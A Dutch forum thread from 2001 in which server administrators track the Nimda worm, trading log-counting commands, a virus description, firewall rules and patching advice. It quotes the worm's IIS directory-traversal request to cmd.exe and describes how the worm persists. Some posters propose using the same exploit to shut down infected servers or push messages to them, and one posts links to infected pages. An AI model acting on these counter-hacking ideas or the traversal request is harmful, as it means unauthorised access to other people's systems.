Welke worm is dit nu weer?

[s3n]

Op dinsdag 18 september 2001 21:30 schreef Flat© het volgende:

[..]

tja maar dan heb ik niet van deze leuke stats

Is er ook al zo'n leuk scriptje voor windows-iis ?

[Jordi]

Gheh, gaat lekker zo. Heb er inmiddels alweer ruim 5x zoveel als vanmiddag

[Verwijderd]

Hihi,

Zit nu een kleine 30 min. online via ISDN en heb inmiddels al zo'n 63 pogingen binnen.
Uit oa:

Polen
Duitsland
Italie
Nederland
.il (vraag me ff niet welk land het is )

Ben ik ff blij dat ik ipchains helemaal paranoide heb ge-configged

-----
Nu: 00:40 uur is de couter al weer opgelopen naar zo'n 247.
Nasty virusje
Dat gaat morgen weer een hoop media opeveren

[alt-92]

Godzijdank draai ik geen IIS hier en op het werk, maar ik zie de donkere bui al hangen.

Je kunt er donder op zeggen dat elke breedband ISP nu echt op servers gaat controleren, tenkoste van diegenen die wel verantwoord werken (lees: geen IIS draaien, of zelfs geen MS OS).

[Verwijderd]

Op dinsdag 18 september 2001 23:20 schreef BackSlash32 het volgende:
Godzijdank draai ik geen IIS hier en op het werk, maar ik zie de donkere bui al hangen.

Je kunt er donder op zeggen dat elke breedband ISP nu echt op servers gaat controleren, tenkoste van diegenen die wel verantwoord werken (lees: geen IIS draaien, of zelfs geen MS OS).

Ik heb toch ŜŜ@#$#$! het recht om mijn server hier te runnen, ik betaal er niet voor niks voor en ik veroorzaak geen overlast

Ik schreef uurtje geleden ofzo al richting de NLLGG: laat de worm lekker z'n gang gaan, miljoenen computers infecteren, data-loss veroorzaken, servers crashen, het internetten onmogelijk maken, misschien gaan mensen eindelijk hun ogen opendoen

[Verwijderd]

code:

Central Command is alerting all users of a fast spreading new
Internet worm named Win32.Nimba.A@mm AntiVirus eXpert has
been updated to detect and remove this new worm. Please
update AntiVirus eXpert to obtain protection from this worm.

Name:    Win32.Nimda.A@mm
Aliases:    W32/Nimda.A
Type:    Internet Worm, written in Visual C language
Size:    57344 bytes
Risk:    Medium
ITW:      Yes

Description:

This virus comes through e-mail as an attached file, with the
body of the mail apparently empty but which actually contains
code to use an exploit which will execute the virus when the user
just view the message (if is using Outlook or Outlook Express
without latest Service Packs or patches from Microsoft). When is
installed it copies itself in the system directory with the name
load.exe. Also it copies over the library riched20.dll modifying
itself to be loaded as a DLL (Dinamically Link Library). This DLL
is used by applications that work with Richedit Text Format such
as Wordpad.

To be activated at every reboot the virus modifies system.ini in
the boot section by writing the following line: shell=explorer.exe
load.exe -dontrunold

To spread it uses MAPI (Mailing API) functions to read user^Òs e-
mails from where it extracts SMTP (Simple Mail Transfer
Protocol) addresses and e-mail addresses.

Another method to spread is by using Unicode Web Traversal
exploit similar to CodeBlue. Information and a patch for this
exploit are located at
http://www.microsoft.com/technet/security/bulletin/ms00-078.asp

Also it spreads through local network.

The virus activates the user guest with no password and add it to 
the Administrator group. Also it creates a share for C:\ with all
access rights.

Leaving the library riched20.dll not deleted will reactivate the virus
when a program using this library is executed.

Nuff said.

[alt-92]

Op dinsdag 18 september 2001 23:31 schreef beelzebubu het volgende:

[..]

Ik heb toch ŜŜ@#$#$! het recht om mijn server hier te runnen, ik betaal er niet voor niks voor en ik veroorzaak geen overlast

true, true..

't is alleen zo lullig dat het in je AV staat dat het niet mag.
We hebben tot nu toe een (typisch hollands ) gedoogbeleid meegemaakt, waar wellicht een einde aan komt door dit soort dingen.

Ik schreef uurtje geleden ofzo al richting de NLLGG: laat de worm lekker z'n gang gaan, miljoenen computers infecteren, data-loss veroorzaken, servers crashen, het internetten onmogelijk maken, misschien gaan mensen eindelijk hun ogen opendoen

Wishful thinking ben ik bang.

[Verwijderd]

Op dinsdag 18 september 2001 23:53 schreef BackSlash32 het volgende:
't is alleen zo lullig dat het in je AV staat dat het niet mag.
We hebben tot nu toe een (typisch hollands ) gedoogbeleid meegemaakt, waar wellicht een einde aan komt door dit soort dingen.

Mijn ISP is de universiteit Utrecht, dan geldt de AV niet voor mij vrees ik

Wishful thinking ben ik bang.

I know

[raphidae]

Zie ook:

http://www.cnn.com/2001/TECH/internet/09/18/internet.attack.ap/index.html

http://vil.nai.com/vil/virusSummary.asp?virus_k=99209

http://www.securityfocus.com/templates/article.html?id=253

http://www.trusecure.com/html/tspub/hypeorhot/rxalerts/tsa01024_cid177.shtml

http://slashdot.org/articles/01/09/18/151203.shtml

http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005

http://www.merit.edu/mail.archives/nanog/

http://www.sarc.com/avcenter/venc/data/[e-mail]

http://www.newsbytes.com/news/01/170225.html

[alt-92]

Quote van /. :

I spent all morning decompiling and reading through this thing, to see what it does. the wave file that it attaches to the email is actually an executable, named readme.exe, that contains the package. Its rather nasty. It also messes around with windows resources, and explicitly looks for winzip. Its rather big, so I havent gotten the entire thing understood just yet, but from all Ive tracked out of it so far, it messes with nt lanmanager security settings, explorere settings, and mail settings, as well as mangeling certain files.

And I wasnt kidding about it messing around with resource bundles on the end of windows executables. I havent figured out what its attacheing there, but something is definitely doing it.

And earlier posts were right about the attacking of codered rooted boxes. it also gets other misconfigured iis setups that allow access to cmd some how.

Whats nasty is that since it can come in over email, it got behind the corporate firewall this morning. and since inside most people hadnt bothered to keep their iis servers pathched and secured. So even though we were safe from code red, this one got in and starting mangeling servers.


[-----------------------------]





Here's what wget showed me for one host:

[message/rfc822]

So this thing is really evil:

1. it uses many forms of attack
2. it attacks server _and_ clients
3. it propagates by tftping the load from altering hosts (probably from the host which
did the attack before)
4. it alters the content type for the client infection via http+IE

Yuck

Mijn werk voor morgenochtend vroeg:
Stap 1 is Opera/Mozilla op alle 40 clients installeren als default browser
stap 2 Users nogmaals wijzen op attachments (ook al is .exe geblocked)

[Haranaka]

hoe kan ik met dat commando cat en grep de boel filteren dat hij me alleen de ip adressen (en dan als het even kan geen dubbele) geeft van degene die dus geinfecteerd zijn?

[Verwijderd]

code:

[root httpd]# cat access | grep cmd.exe | wc -l
   2886
[root httpd]#

[Verwijderd]

Je kan best de URLSCAN installeren, wel van Micro$oft zelf maar toch de moeite.

http://www.microsoft.com/technet/security/urlscan.asp

URLScan screens all incoming requests to an IIS web server, and only allows ones to pass that comply with a ruleset created by the administrator. This significantly improves the security of the server by helping ensure that it only responds to valid requests.

The tool allows the administrator to filter requests based on length, character set, content and other factors. A default ruleset is provided, which can be customized to meet the needs of a particular server.

[Verwijderd]

Op woensdag 19 september 2001 00:34 schreef Haranaka het volgende:
hoe kan ik met dat commando cat en grep de boel filteren dat hij me alleen de ip adressen (en dan als het even kan geen dubbele) geeft van degene die dus geinfecteerd zijn?

cat access_log | grep -i cmd | cut -f1 -d- | uniq
evt nog met | wc -l er achter als je ze wilt tellen..

[Haranaka]

code:

Sep 18 15:39:11 Haranaka kernel: Mismatch in TCPACCEPT IN=eth1 OUT= MAC=00:e0:4c:3d:66:43:00:d0:00:97:4f:fc:08:00 
SRC=xxx.xxx.xxx.xxx DST=xxx.xxx.xxx.xxx LEN=44 TOS=0x00 PREC=0x00 
TTL=126 ID=49113 DF PROTO=TCP SPT=2751 DPT=80 WINDOW=8192 RES=0x00 SYN URGP=0

Ik ben er nu achter dat deze message en vele als deze dus komen door die worm. Maar wat ik niet zo leuk vind is dat deze message in mijn beeld worden gegooit zodra ze binnen komen. En dat is vaak, de teller staat nu op 1885
Hoe stel ik in dat hij ze wel naar die logs moet schijven maar van mijn beeld moet afblijven?

[Haranaka]

Op woensdag 19 september 2001 01:05 schreef Yarvieh het volgende:

[..]

cat access_log | grep -i cmd | cut -f1 -d- | uniq
evt nog met | wc -l er achter als je ze wilt tellen..

bedankt, maar die uniq functie die werkt niet echt, ik krijg nu een lijstje met ip adressen, maar er staan wel dezelfden bij.

[Verwijderd]

Damn in slechts 5 uur, alweer bijna 2500 erbij

Dat zijn er ruim 8 per minuut
Server is nog nooit zo druk geweest joh.

Eens geld gaan vagen voor het gebruik van mijn bandbreedte.

[Mior]

code:

b0xx:/var/log/httpd# cat *access* | grep cmd.exe | wc -l
   4145
b0xx:/var/log/httpd#

[flat]

Op dinsdag 18 september 2001 22:58 schreef s3n het volgende:

[..]

Is er ook al zo'n leuk scriptje voor windows-iis ?

deze heb ik zelf eventjes geschreven vanmiddag, maar 't stelt niet veel voor om 't zelf eventjes te maken hoor

[Verwijderd]

Op woensdag 19 september 2001 00:19 schreef BackSlash32 het volgende:
Yuck

Nee, deze worm maakt op gratieuze wijze gebruik van de mogelijkheden die MS hem geeft..... Zeg daar maar yuck tegen. Die worm zelf is gewoon slim gebruikt en geeft een topje van de ijsberg van hoeveel veiligheidslekken die die brakke systemen van MS ("Nee hoor, NT is volkomen veilig") hebben.

Ik vind het wel goed dat er eindelijk eens een worm komt die alles verneukt. Mensen moeten hun kop stoten! Anders leren ze het nooit. Laat het de computers formatteren. Laat het de hardware vernietigen. Whatever. INSTALLEER DIE UPDATES DAN EENS! Zo leert men het misschien eens....

[alt-92]

Da's toch nog yuck als je ermee/omheen moet werken.

In ieder geval: elke client heeft nu Opera als default browser

[Verwijderd]

Op woensdag 19 september 2001 09:18 schreef BackSlash32 het volgende:
Da's toch nog yuck als je ermee/omheen moet werken.

Ik heb niet voor MS' zooi als mijn OS gekozen en heb nergens last van

[Verwijderd]

Op dinsdag 18 september 2001 22:08 schreef beelzebubu het volgende:

[..]

Ziet er geweldig uit

Maar...

Mijn apache ondersteunt volgens mij geen PHP

Tuurlijk wel...
En ik heb net dat scriptje getest, lijkt goed te werken,
ik moet hem alleen nog effe renamen.
MAAR heeft iemand een idee of dit wel slim is???

[Verwijderd]

Op woensdag 19 september 2001 10:09 schreef Mainwave het volgende:

[..]

Tuurlijk wel...

s/ondersteunt geen PHP/ik heb PHP niet geinstalleerd/

MAAR heeft iemand een idee of dit wel slim is???

Als de sufferds zo slim zijn hun server niet up te daten vraag ik af of ze genoeg hersencellen hebben om te snappen dat er uberhaupt een worm opzit. Laat staan dat ze doorhebben dat niet die worm maar jij de server afsloot

[Creepy]

grep cmd.exe access_log | wc -l
18168

Lachu hoor

Anyway... in crontab gegooit en op m'n webpagina gezet.
"This machine has been attacked by the nimda worm xxxxxx times" . TOch leuk voor de stats

edit:
OOps.. telde wat dubbele dingen

[LuCarD]

Op woensdag 19 september 2001 10:09 schreef Mainwave het volgende:

[..]

Tuurlijk wel...
En ik heb net dat scriptje getest, lijkt goed te werken,
ik moet hem alleen nog effe renamen.
MAAR heeft iemand een idee of dit wel slim is???

Dat ligt aan je zelf om te bepalen....

Je bent volgens de letter van de wet strafbaar.... Maar ik denk dat geen een rechter het in zijn hoofd haalt om jouw daar op te veroordelen.

Ik zie het zelf altijd als volgt.

Je ziet man op het spoor staan, hij ziet niet dat de trein er aankomt en hij kan je ook niet horen. Wat doe je .... je rent op hem af en duwt hem "HARDHANDIG" weg van het spoor. Man breekt zijn arm door dat hij valt maar hij is wel gered, jij bent een held of niet?. Hij zou jouw theoretisch kunnen aan klagen voor geweldpleging tegen hem. Hij zou volledig in zijn recht staan. Maar geen 1 rechter die jouw daarvoor zou veroordelen, maar toch.

[Tordek]

Check gewoon ff dit adres:

http://www.mcafee.com/anti-virus/viruses/nimda/default.asp?cid=2444

Daar staat alle info over Nimda...

[Johannes Verelst]

Lekker .. zo'n worm :-/

Op m'n werk is het netwerk down gebracht en worden alle computers 1 voor 1 gecontroleerd. Gelukkig heb ik een laptop die in kan bellen

Voor een groot bedrijf als dit (paar duizend werknemers) gaat dit weer in de miljoenen lopen, want we kunnen niets doen, en waarschijnlijk duurt het nog wel een paar dagen (CodeRed heeft een week non-productiviteit opgeleverd).

[Creepy]

Op woensdag 19 september 2001 14:45 schreef Wizard_of_OS het volgende:
Lekker .. zo'n worm :-/

Op m'n werk is het netwerk down gebracht en worden alle computers 1 voor 1 gecontroleerd. Gelukkig heb ik een laptop die in kan bellen

Voor een groot bedrijf als dit (paar duizend werknemers) gaat dit weer in de miljoenen lopen, want we kunnen niets doen, en waarschijnlijk duurt het nog wel een paar dagen (CodeRed heeft een week non-productiviteit opgeleverd).

Geef de systeembeheerders een harde schop dat ze hun zooi moeten updaten.. dan was er NIKS aan de hand geweest

[RG]

code:

rene@elle:/usr/local/apache/logs$ cat access_log | grep cmd.exe | wc -l
   2474

Jemig, dit is echt extreem veel erger dan code red 2. Die heeft in 1 maand even veel hits als deze in 1 dag!

[Verwijderd]

Zijn die getallen wel eerlijk? Elke worm-attack geeft een stuk of wat requests per host ..... 2500 / 5? = 500 effectief?

[Prozaq]

mischien is dit wel een leuk moment om 'man newsyslog' onder de aandacht te brengen voordat je var vol staat met apache logfile

[Prozaq]

je haalt de woorden uit mijn mond, als je kijkt naar de requests die een aanvaller doet staat daar per aanval een aantal keer cmd in. Greppen op cmd levert dus niet het aantal aanvallen op, maar het aantal keer dat ie cmd.exe wil uitvoeren.

[Johannes Verelst]

code:

cat access_log | grep scripts | cut -f1 -d" " | sort -u | wc -l

Geeft bij mij 53 unieke hosts
Laat 'wc -l' weg om de hosts te zien en evt. te firewallen:

code:

for i in `cat access_log | grep scripts | cut -d" " -f1 | sort -u`; do ipchains -I input 1 -s $i -l -j DENY; done

(linux 2.2.*, hoe het met 2.4 gaat mag iemand anders posten)

[Verwijderd]

code:

root@router:/var/log/apache# grep -c cmd.exe www.tuxed.net-access_log
1595
root@router:/var/log/apache#

[Creepy]

grep "/d/winnt/system32/cmd.exe" access_log | wc -l

zo dan... dat gedeelte is WEL per attack uniek.. maar tis maar net hoe je het bekijkt.. ik vind elke scan voor een exploit een attack.. dus per attack zijn dat er dus 16 geloof ik..

[alt-92]

Op woensdag 19 september 2001 10:00 schreef beelzebubu het volgende:

[..]

Ik heb niet voor MS' zooi als mijn OS gekozen en heb nergens last van

Mmmjah... op m'n werk heb ik niks te kiezen qua OS (behalve dan NT4 of win2k) in verband met 39 andere users die 'gewoon gebruiker' zijn, en een Main Office in Engeland wat niets anders toestaat.
Beetje lullig om dan dat argument aan te halen.


Draai ondanks dat lekker Linux+OpenOffice op m'n werk-laptop hoor

[flat]

Op woensdag 19 september 2001 17:11 schreef Creepy het volgende:
grep "/d/winnt/system32/cmd.exe" access_log | wc -l

zo dan... dat gedeelte is WEL per attack uniek.. maar tis maar net hoe je het bekijkt.. ik vind elke scan voor een exploit een attack.. dus per attack zijn dat er dus 16 geloof ik..

nou als ik in m'n logs of in m'n stats kijk, kan je zien dat 't er soms ook 8 of 9 of 10 zijn hoor...

[RG]

Op woensdag 19 september 2001 16:27 schreef willblack het volgende:
Zijn die getallen wel eerlijk? Elke worm-attack geeft een stuk of wat requests per host ..... 2500 / 5? = 500 effectief?

Dat was met Code Red ook zo hoor, heel veel dubbele hosts. Er zijn dus blijkbaar echt veel mensen die een geinfecteerde bak hebben en die het gewoon niet weten. Als je dan naar zo'n pagibna toe gaat is het bijna altijd zo;n standaard IIS gemekker dat die page nog in aanbouw is ofzo...

[Boomerang]

* Boomerang joins the club

Me webserver is nog geen uurtje up en:

bash$ cat access_log | grep cmd.exe | wc -l
24

Leve die microsoft IIS troep

[stok]

Ik draai dus _wel_ een IIS server
En ook bij mij wordt er regelmatig op de deur geklopt. Gelukkig is er voor die bezoekers niemand thuis

Mijn logs zijn ipv 13 KB, 300 KB. En allemaal wordt er gevraagdt naar

00:00:36 212.78.71.91 80 GET /scripts/..%5c../winnt/system32/cmd.exe

Ik vraag me af wanneer dit voorbij is.

[flat]

Op woensdag 19 september 2001 21:52 schreef stokkie het volgende:
Ik vraag me af wanneer dit voorbij is.

ik denk dat dat nog wel eens heeeeel lang kan gaan duren...
want veel van de "slachtoffers" weten niet eens dat ze IIS draaien, dus zullen er ook niet gauw aan denken om te gaan patchen
en de mensen die wel weten dat ze IIS draaien, maar nu nóg niet gepatched hebben, zullen dat ook niet echt vlug gaan doen lijkt me zo

[stok]

Op woensdag 19 september 2001 22:11 schreef Flat© het volgende:

[..]

...en de mensen die wel weten dat ze IIS draaien, maar nu nóg niet gepatched hebben, zullen dat ook niet echt vlug gaan doen lijkt me zo

Klopt. Daarom probeer ik altijd een beetje mijn bakkie up-to-date te houden.

//offtopic
Maar wat me erg opviel na doorlezen van dit topic, is dat veel gebruikers zich enorm ergeren aan IIS (Non-Windows Operating Systems, kweet ut ), maar ik ben nog maar sinds kort bezig met Linux en 8 mijn Linux kennis nog niet dusdanig dat ik een Linux-based server kan gaan draaien.
Verder is IIS gebruikersvriendelijk, wat mij ook wel aanspreekt.

Als er nou eens onderscheid gemaakt wordt tussen de "ietwat ervaren" (waaronder ik ) en de "onwetenden" (lui die niet eens weten dat ze een IIS server draaien .
Ik vind ut wel ergerlijk om steeds " IIS " of " IIS gebruikers " te moeten lezen.
Ik zit toch ook nie te zeuren op Linux/Unix servers

[alt-92]

Tja, dit topic zit ook een beetje in het hol van de leeuw

[Creepy]

Ach ja, de meeste IIS gebruikers ( ) denken dat als het eenmaal draait, ze er niks meer aan hoeven te doen. Als je dat wel weet ben je een IIS gebruiker (zonder )
Maar ja.. zeker voor een server is MS/IIS niet iets wat ik zou doen.. maar ja... iedereen z'n eigen keuze he, zolang je de boel maar goed onderhoud.. en omdat dat MS/IIS zo "makkelijk" is, verdiepen de meesten zich er niet in, en modderen maar wat aan.. gevolg: Virussen die lekker bandbreedte vreten.

[deadinspace]

Op woensdag 19 september 2001 22:27 schreef stokkie het volgende:
Ik vind ut wel ergerlijk om steeds " IIS " of " IIS gebruikers " te moeten lezen.
Ik zit toch ook nie te zeuren op Linux/Unix servers

Mja, je moet wel toegeven dat IIS wel erg veel lekken heeft, terwijl apache al 2 jaar zonder remote exploit (NB dit betekent niet bugloos) zit (afaik).

[Verwijderd]

hmmmm heb de eerste nimba attacks al op 0808, of was dat die CodeRedII?? kan ff niet de log kopieren....
maar het heeft wel /winnt/etc etc alleen geen gevaarlijke commandos op de cmd.exe.

btw de teller staat nu op 1248, en dan zijn die van vandaag niet meegeteld.

vandaag weer 1515 erbij, en dan heb ik het over unieke aanvallen, dus ik zoek op "winnt/system32/cmd.exe".

[Johannes Verelst]

Leuke geinfecteerde website:
http://www.microsoft.com/frontpage

[troll]
let the microsoft bashing begin!!!!
[/troll]

[Prozaq]

Als dat echt een geinfecteerde pagina is zou ik hem dus *NIET* openen. iig niet met internet explorer omdat je dan kans hebt dat je een virus binnenhaalt (gebeurt automagisch, bugje van ie)

[Johannes Verelst]

De pagina is geinfecteerd (de regel javascript code staat onderaan), maar de .eml file is verwijdert, dus het zal verder geen problemen opleveren. Een gedeeltelijk mislukte clean-actie blijkbaar.

Dell is ook geinfecteerd trouwens:
http://docs.us.dell.com/docs/systems/pcpxhj/

edit:
Een half uur na het melden van deze url op de securitymailinglist '[e-mail]' is de site blijkbaar gepatched

[Prozaq]

waarom post je dit? wil je mensen infecteren ofzo?

[Johannes Verelst]

Mensen die zo ver in de thread zijn gekomen hebben heus wel door dat ze niet zomaar met een ongepatchte IE op linkjes moeten klikken.

Waarom ik dit doe?

- Microsoft is geinfecteerd. Hmm .. wat betekent dit? Dat ze dus een lek OS maken (dat is 1), op hun eigen servers installeren (2) en NIET PATCHEN ALS ER SECURITYPATCHES UITKOMEN (3). Sorry hoor, maar ben ik echt de enige die dit absurd vind?

- Dell, ook een groot bedrijf, ook een website heeft draaien die mensen infecteerd. Dat www.de-bakker-op-de-hoek.nl geinfecteerd is is niet de moeite van het melden waard, maar een site van Dell vind ik toch best een Big Deal.

Als ik dacht dat ik met deze posting mensen zou infecteren had ik het niet geschreven, maar aangezien dit NOS is en de werking van de worm al in 100 voorgaande posts is beschreven vond ik het veilig genoeg.

(URL's komen trouwens van '[e-mail]')

edit:


Ook de microsoft machines zijn nu schoon blijkt (alle 4 de microsoft webserver lijken schoon, de javascript-popup code is weg)

[alt-92]

Ik heb al een aantal meldingen gezien van servers die
1) wel alle patches hadden maar toch besmet zijn
2) niet gepatched kunnen worden zonder dat er iets anders breekt.

Het irritante is gewoon dat er verschillende apps zijn (Crystal Reports, FrontRange, GoldMine5.5, VisualBasic6 + Visual.NET(beta2) bijvoorbeeld) die persé IIS services willen activeren/gebruiken.

Mensen die deze programmas gebruiken zijn o.h.a geen serveradmins, en die komen er vaak niet achter dat die services gewoon doorlopen zonder erop geattendeerd te worden.

[Verwijderd]

Op woensdag 19 september 2001 22:27 schreef stokkie het volgende:
Ik vind ut wel ergerlijk om steeds " IIS " of " IIS gebruikers " te moeten lezen.
Ik zit toch ook nie te zeuren op Linux/Unix servers

Ik vind het ergerlijk om elke dag van windhoos gasten te moeten aanhoren hoe geweeeeeeeeeeeeeeeeeeeeeeeeeeldig ze wel niet ijn want ze hebben ("een aap kan ook op knopjes drukken" ) wel tien keer achter elkaar op het juiste knopje gedrukt en nu hebben ze een webserver

Geweeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeldig

Alsof een aap dat niet kan. Een webserver is meer dan als aap tien keer achter elkaar per ongeluk het juiste knopje vinden. Dat irriteert me aan "de gemiddelde IIS gebruiker". De gemiddelde apache gebruiker heeft in elk geval httpd.conf al eens ge-edit (mag ik hopen), wat er in elk geval op duidt dat ie weet wat er ongeveer gebeurt.....

Even voor de duidelijkheid, geweldig voor je dat je zo'n prachtige webserver hebt, perfect zelfs als je een slimme gebruiker/admin ervan bent.... Maar de "gemiddelde" IIS gebruiker is de "aap die op de juiste knopjes drukte" en geen idee heeft wat ie eigenlijk doet. En van die servers stroomt mijn log voor de zoveelste keer (codered-1, codered2, deze nu weer) vol.

En daar ik van ja

[no personal flame intended]

[Verwijderd]

[semi-offtopic]

Ik associeer dit soort mensen (de gemiddelde Windhoos gebruiker dus) altijd met de "Computer Idee"

Ik weet het, het is niet netjes, maar ik denk dat ik hierin en op deze plek niet de enige ben. 0-)
[/semi-offtopic]

[Mart!]

beelzebubu:
Wat een bull zeg. ff afgeven op de IIS gebruiker die dom op knopjes drukt. Helaas is dit vaak het geval, ik zie vaak in bedrijven eigen intranetjes e.d. die door het betere klikwerk (=IIS installeren en Frontpage pagina's) in elkaar zijn gezet. Mensen die echter professioneel (=voor hun werk) dynamische intranetten/websites ontwikkelen, weten wel beter en zullen zich niet beperken tot het 'betere klikwerk'.
Het zo ontwerpen van je site (intra- of internet) en het daarbij juist configureren van de webserver is ook op het Windows-platform een vak appart.
Het feit dat jou servers vollopen met request van exploits heeft niets te maken met de 'aap die op de juiste knopjes drukte' maar met het feit dat microsoft een denkfout heeft gemaakt door de IIS standaard mee te installeren. Als je niet weet dat het draait, hoe moet je dan weten dat je er patches voor moet installeren. De betere beheerder is echt wel op de hoogte dat als je een Windhoos doos draait, dat je de patches, fixes en service packs in de gaten moet houden.

* Mart! is aardig afgekoeld door dit verhaal

Net ff wat stats bekeken: veel aanvallen komen van de nl.home.com domeinen, dus vooral de argeloze gebruiker die van niets weet?

[Jordi]

Het kan dan wel een aardig rigoreuze post zijn, ik ben het toch wel grotendeels met beelzebubu eens eigenlijk... tja, gebruiksvriendelijkheid heeft nu eenmaal z'n nadelen.

[Verwijderd]

grep cmd.exe custom_log | wc -l:

11395 Nee, gaat echt lekker

Tja gebruiksvriendelijkheid is inberdaad gewoon de pest voor services.
Ik merk het ook steeds vaker met Linux helaas.
Allemaal heel leuk dat het gebruiksvriendelijker wordt en zo voor de massa aantrekkelijk wordt. Het aantal gebruikers met Linux die zonder dat ze het weten allerlei services draaien neemt echter ook enorm toe. Lang leve de tooltjes alla webmin/linuxconf etc.

Hetzelfde geldt voor IIS. Het is echt maar een paar klikken om dat aan te zetten. Tja dan vind ik het niet zo vreemd, dat er wat leuke wormpjes zo'n systeem binnen dringen zonder dat de persoon het in de gaten heeft of er uberhaupt ooit gaat achter komen.

[Verwijderd]

[quote]
Op donderdag 20 september 2001 13:54 schreef Mart! het volgende:

Het feit dat jou servers vollopen met request van exploits heeft niets te maken met de 'aap die op de juiste knopjes drukte' maar met het feit dat microsoft een denkfout heeft gemaakt door de IIS standaard mee te installeren. Als je niet weet dat het draait, hoe moet je dan weten dat je er patches voor moet installeren. De betere beheerder is echt wel op de hoogte dat als je een Windhoos doos draait, dat je de patches, fixes en service packs in de gaten moet houden.

Maar daar gaat het juist om!

Die "betrere beheerder" weet wel waar die mee bezig is. Maar het gaat mij dus om die weetikveelhoeveel mensen die geen flauw idee hebben waar ze mee bezig zijn. Waarom installeer je dan uberhaupt windows NT/2k-server als je niet weet hoe dat werkt, wat het doet, enzo? (99% kans dat het illegale copien zijn )

Als je als beheerder niet doorhebt dat er constant een applicatie aan poort-80 staat te luisteren, be it IIS of een virus/worm, dat vind ik schandelijk. Die mensen zouden nooit van hun hele leven meer een server mogen opzetten! Om die mensen ben ik zo pissed off. Want zij horen geen server te hebben, en al helemaal geen IIS erop. Dat is dus niet alleen (wel gedeeltelijk...) een denkfout van MS om IIS standaard mee te installeren, het is toch vooral dom dat zij uberhaupt een server(tje) hebben.

Een verplichte sysadmincursus bij elke installatie van windowsNT/2k zou helemaal niet zo'n slecht idee zijn

[BigB]

[root@server httpd]# cat access* | grep cmd.exe | wc -l
44128

Is dat normaal? zoveel?
Of doe ik iets fout?

[Verwijderd]

Op donderdag 20 september 2001 16:03 schreef BigB het volgende:
[root@server httpd]# cat access* | grep cmd.exe | wc -l
44128

Is dat normaal? zoveel?
Of doe ik iets fout?

op @home en andere (grote) kabel/adsl 24/7 ISPs is dat vrij normaal - die hebben vrij vaak een win2k/nt routertje of servertje ofzo met (zonder het te weten ) IIS, zonder updates en dus geinfecteerd.....

[Boomerang]

Aarg... gister 40 threads.. nu 72!! Staat nu nog geen 10 min aan

bash$ cat access_log | grep cmd.exe | wc -l
72

[BigB]

[root@server httpd]# cat access_log | grep -i cmd | cut -f1 -d- | uniq | wc -l
24074

toch meer dan de helft zijn unique

[Creepy]

Je installeert 2000 Advanced server natuurlijk omdat het cool is (en veeeeeel duurder maar ja, ik ben een coole gozer dus heb em gekopieerd).. 2000 workstation is voor mietjes!!!!

Domme uitspraak ja, maar er zijn wel een hoop mensen die min of meer zo denken, en de meesten daarvan gaan nu hard op hun bek. Het gevolg? Tja.. als je dat niet weet moetje dit topic nog maar es helemaal doorlezen

Ook zijn er genoeg mensen die denken dat ze cool zijn als ze hun eigen web-server hebben draaien.. dat ze niet eens weten hoe ze een patch moeten installeren zal hun een zorg zijn... nogmaals.. het gevolg?? ach ja.

Dit geld zeker voor windows, maar idd ook steeds meer voor linux met bijbehorende "foute" config tooltjes. Als ik een server o.i.d. installeerd gebruik ikzelf linux, en config ALLES met de hand! (= vi /etc/configfiletje etc.) Waarom? Dan weet ik precies wat waar en waarom het draait. Als je daar geen tijd voor hebt en zo snel mogelijk iets wilt laten draaien om "cool" te wezen.. ach ja... als jij denkt dat het "cool" is om een webserver o.i.d. te hebben draaien

[Boomerang]

* Boomerang heeft ff een bestand gemaakt met de naam default.ida en dat is een php bestand

Het volgende staat erin:
Hey there... Please patch your IIS. You're infected with the code red virus. This is a 404

edit:

300'ste post
* Boomerang trekt de champagne open en schenkt iedereen een glaasje in
op naar de 1000

[Verwijderd]

Op donderdag 20 september 2001 16:53 schreef webleraar het volgende:
/me heeft ff een bestand gemaakt met de naam default.ida en dat is een php bestand

Het volgende staat erin:
Hey there... Please patch your IIS. You're infected with the code red virus. This is a 404

Bovenstaand scriptje is veel cooler

Huh......Waarom gaat m'n pjoeter nou uit?

[wouzer]

Op donderdag 20 september 2001 16:53 schreef webleraar het volgende:
* wouzer heeft ff een bestand gemaakt met de naam default.ida en dat is een php bestand

Het volgende staat erin:
Hey there... Please patch your IIS. You're infected with the code red virus. This is a 404

Lol, en HOE moet de geinfecteerde dit gaan lezen? Het is immers een programmatje dat dit uitvoerd en geen gebruiken met een browser

[Boomerang]

Op donderdag 20 september 2001 17:56 schreef wouzer het volgende:

[..]

Lol, en HOE moet de geinfecteerde dit gaan lezen? Het is immers een programmatje dat dit uitvoerd en geen gebruiken met een browser

Da weetik ook wel... just 4 fun tis weer eens wa anders in die logs he

[flat]

Op donderdag 20 september 2001 17:56 schreef wouzer het volgende:

[..]

Lol, en HOE moet de geinfecteerde dit gaan lezen? Het is immers een programmatje dat dit uitvoerd en geen gebruiken met een browser

inderdaad... maak dan een scriptje daat met behulp van diezelfde exploit een "net send localhost heej eikel je bent geïnfecteerd met de nimda-worm"-script
ik weet niet of 't precies zo moet, maar aan een popup op de geïnfecteerde server heb je in ieder geval meer

[Boomerang]

Op donderdag 20 september 2001 18:12 schreef Flat© het volgende:

[..]

inderdaad... maak dan een scriptje daat met behulp van diezelfde exploit een "net send localhost heej eikel je bent geïnfecteerd met de nimda-worm"-script
ik weet niet of 't precies zo moet, maar aan een popup op de geïnfecteerde server heb je in ieder geval meer

Misschien iemand die aan een dergelijk script wil meewerken, het lijkt me namelijk bes wel moeilijk (kannut mis hebben)

[Verwijderd]

Voordat aan dat scriptje wordt gewerkt: hadden jullie deze al gezien?

[odysseus]

Op woensdag 19 september 2001 23:27 schreef deadinspace het volgende:

[..]

Mja, je moet wel toegeven dat IIS wel erg veel lekken heeft, terwijl apache al 2 jaar zonder remote exploit (NB dit betekent niet bugloos) zit (afaik).

Apache zelf zal vast al wel twee jaar zonder remote exploit door het leven gaan, maar in alle add-on modules zitten zeker zo nu en dan exploits. Laatst weer in een of andere authenticatiemodule, geloof ik.

[Mart!]

't was ook zeker niet de bedoeling hier een flame-war te ontketenen. Maar als prof laat ik me niet zomaar de les lezen Maar je hebt gelijk, de onwetenden maken het leven van de Apache server beheerders zo zwaar Het is inderdaad vrij kut dat dergelijke lekken in IIS zorgen voor zo veel meer netwerkverkeer. Gelukkig brengt MS vrij snel patches uit voor dit soort dingen, maar eigenlijk hadden ze er niet in moeten zitten. Verder is de worm niet bijzonder, maakt gebruik van gaten die een normale beheerder (een goede dus) allang heeft gedicht.

[deadinspace]

